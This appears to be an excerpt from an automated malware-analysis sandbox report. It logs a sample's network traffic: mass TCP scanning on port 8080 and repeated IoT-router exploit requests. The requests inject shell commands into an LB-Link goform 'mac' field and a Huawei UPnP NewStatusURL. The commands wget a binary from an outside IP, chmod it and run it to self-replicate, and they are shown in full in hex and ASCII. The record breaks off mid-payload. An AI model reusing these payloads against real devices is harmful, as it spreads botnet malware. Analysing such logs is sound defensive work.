Source: global traffic	TCP traffic: 192.168.2.14:21101 -> 66.112.237.130:8080
Source: global traffic	TCP traffic: 192.168.2.14:21101 -> 170.209.1.10:8080
Source: global traffic	TCP traffic: 192.168.2.14:21101 -> 117.177.136.39:8080
Source: global traffic	TCP traffic: 192.168.2.14:21101 -> 92.12.61.141:8080
Source: global traffic	TCP traffic: 192.168.2.14:21101 -> 40.61.166.185:8080
Source: global traffic	TCP traffic: 192.168.2.14:21101 -> 182.122.30.148:8080
Source: global traffic	TCP traffic: 192.168.2.14:21101 -> 157.37.52.145:8080
Source: global traffic	TCP traffic: 192.168.2.14:21101 -> 132.234.250.108:8080
Source: global traffic	TCP traffic: 192.168.2.14:21101 -> 82.129.222.32:8080
Source: global traffic	TCP traffic: 192.168.2.14:21101 -> 194.35.125.100:8080
Source: global traffic	TCP traffic: 192.168.2.14:21101 -> 174.143.12.22:8080
Source: global traffic	TCP traffic: 192.168.2.14:21101 -> 141.132.60.227:8080
Source: global traffic	TCP traffic: 192.168.2.14:21101 -> 99.177.27.14:8080
Source: global traffic	TCP traffic: 192.168.2.14:21101 -> 213.226.54.77:8080
Source: global traffic	TCP traffic: 192.168.2.14:21101 -> 79.28.77.120:8080
Source: global traffic	TCP traffic: 192.168.2.14:21101 -> 194.178.194.88:8080
Source: global traffic	TCP traffic: 192.168.2.14:21101 -> 46.171.231.113:8080
Source: global traffic	TCP traffic: 192.168.2.14:21101 -> 182.35.45.102:8080
Source: global traffic	TCP traffic: 192.168.2.14:21101 -> 173.86.162.134:8080
Source: global traffic	TCP traffic: 192.168.2.14:21101 -> 81.5.96.207:8080
Source: global traffic	TCP traffic: 192.168.2.14:21101 -> 111.94.157.220:8080
Source: global traffic	TCP traffic: 192.168.2.14:21101 -> 34.119.68.136:8080
Source: global traffic	TCP traffic: 192.168.2.14:21101 -> 216.143.138.185:8080
Source: global traffic	TCP traffic: 192.168.2.14:21101 -> 12.173.27.135:8080
Source: global traffic	TCP traffic: 192.168.2.14:21101 -> 64.36.71.10:8080
Source: global traffic	TCP traffic: 192.168.2.14:21101 -> 212.86.129.213:8080
Source: global traffic	TCP traffic: 192.168.2.14:21101 -> 157.158.80.39:8080
Source: global traffic	TCP traffic: 192.168.2.14:21101 -> 110.17.181.56:8080
Source: global traffic	TCP traffic: 192.168.2.14:21101 -> 202.173.226.32:8080
Source: global traffic	TCP traffic: 192.168.2.14:21101 -> 39.207.245.189:8080
Source: global traffic	TCP traffic: 192.168.2.14:21101 -> 167.62.65.112:8080
Source: global traffic	TCP traffic: 192.168.2.14:21101 -> 200.192.208.6:8080
Source: global traffic	TCP traffic: 192.168.2.14:21101 -> 102.118.111.255:8080
Source: global traffic	TCP traffic: 192.168.2.14:21101 -> 94.135.161.24:8080
Source: global traffic	TCP traffic: 192.168.2.14:21101 -> 193.136.181.195:8080
Source: global traffic	TCP traffic: 192.168.2.14:21101 -> 131.69.120.88:8080
Source: global traffic	TCP traffic: 192.168.2.14:21101 -> 175.74.241.95:8080
Source: global traffic	TCP traffic: 192.168.2.14:21101 -> 193.82.45.36:8080
Source: global traffic	TCP traffic: 192.168.2.14:21101 -> 176.63.125.185:8080
Source: global traffic	TCP traffic: 192.168.2.14:21101 -> 168.3.9.30:8080
Source: global traffic	TCP traffic: 192.168.2.14:21101 -> 47.237.229.142:8080
Source: global traffic	TCP traffic: 192.168.2.14:21101 -> 107.123.117.152:8080
Source: global traffic	TCP traffic: 192.168.2.14:21101 -> 149.212.69.160:8080
Source: global traffic	TCP traffic: 192.168.2.14:21101 -> 66.21.92.8:8080
Source: global traffic	TCP traffic: 192.168.2.14:21101 -> 118.183.135.159:8080
Source: global traffic	TCP traffic: 192.168.2.14:21101 -> 161.61.106.193:8080
Source: global traffic	TCP traffic: 192.168.2.14:21101 -> 20.69.76.193:8080
Source: global traffic	TCP traffic: 192.168.2.14:21101 -> 42.204.32.112:8080
Source: global traffic	TCP traffic: 192.168.2.14:21101 -> 193.119.153.214:8080
Source: global traffic	TCP traffic: 192.168.2.14:21101 -> 171.186.51.133:8080
Source: global traffic	TCP traffic: 192.168.2.14:21101 -> 211.125.0.133:8080
Source: global traffic	TCP traffic: 192.168.2.14:21101 -> 208.248.165.43:8080

Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 6d 70 73 6c 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 38 2e 32 33 35 2e 31 38 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 2e 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.178.235.18/skyljne.mpsl; chmod 777 skyljne.mpsl; ./skyljne.mpsl lblink.selfrep;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 6d 70 73 6c 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 38 2e 32 33 35 2e 31 38 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 2e 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.178.235.18/skyljne.mpsl; chmod 777 skyljne.mpsl; ./skyljne.mpsl lblink.selfrep;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 6d 70 73 6c 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 38 2e 32 33 35 2e 31 38 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 2e 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.178.235.18/skyljne.mpsl; chmod 777 skyljne.mpsl; ./skyljne.mpsl lblink.selfrep;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 6d 70 73 6c 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 38 2e 32 33 35 2e 31 38 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 2e 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.178.235.18/skyljne.mpsl; chmod 777 skyljne.mpsl; ./skyljne.mpsl lblink.selfrep;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 6d 70 73 6c 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 38 2e 32 33 35 2e 31 38 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 2e 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.178.235.18/skyljne.mpsl; chmod 777 skyljne.mpsl; ./skyljne.mpsl lblink.selfrep;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 6d 70 73 6c 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 38 2e 32 33 35 2e 31 38 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 2e 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.178.235.18/skyljne.mpsl; chmod 777 skyljne.mpsl; ./skyljne.mpsl lblink.selfrep;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 6d 70 73 6c 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 38 2e 32 33 35 2e 31 38 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 2e 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.178.235.18/skyljne.mpsl; chmod 777 skyljne.mpsl; ./skyljne.mpsl lblink.selfrep;
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 466Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 37 38 2e 32 33 35 2e 31 38 20 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 73 6b 79 6c 6a 6e 65 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.178.235.18 -l /tmp/.oxy -r /skyljne.mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 6d 70 73 6c 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 38 2e 32 33 35 2e 31 38 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 2e 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.178.235.18/skyljne.mpsl; chmod 777 skyljne.mpsl; ./skyljne.mpsl lblink.selfrep;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 6d 70 73 6c 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 38 2e 32 33 35 2e 31 38 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 2e 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.178.235.18/skyljne.mpsl; chmod 777 skyljne.mpsl; ./skyljne.mpsl lblink.selfrep;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 6d 70 73 6c 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 38 2e 32 33 35 2e 31 38 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 2e 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.178.235.18/skyljne.mpsl; chmod 777 skyljne.mpsl; ./skyljne.mpsl lblink.selfrep;
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 466Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 37 38 2e 32 33 35 2e 31 38 20 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 73 6b 79 6c 6a 6e 65 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.178.235.18 -l /tmp/.oxy -r /skyljne.mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 6d 70 73 6c 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 38 2e 32 33 35 2e 31 38 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 2e 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.178.235.18/skyljne.mpsl; chmod 777 skyljne.mpsl; ./skyljne.mpsl lblink.selfrep;
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 466Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 37 38 2e 32 33 35 2e 31 38 20 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 73 6b 79 6c 6a 6e 65 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.178.235.18 -l /tmp/.oxy -r /skyljne.mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 6d 70 73 6c 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 38 2e 32 33 35 2e 31 38 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 2e 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.178.235.18/skyljne.mpsl; chmod 777 skyljne.mpsl; ./skyljne.mpsl lblink.selfrep;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 6d 70 73 6c 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 38 2e 32 33 35 2e 31 38 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 2e 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.178.235.18/skyljne.mpsl; chmod 777 skyljne.mpsl; ./skyljne.mpsl lblink.selfrep;
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 466Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 37 38 2e 32 33 35 2e 31 38 20 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 73 6b 79 6c 6a 6e 65 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 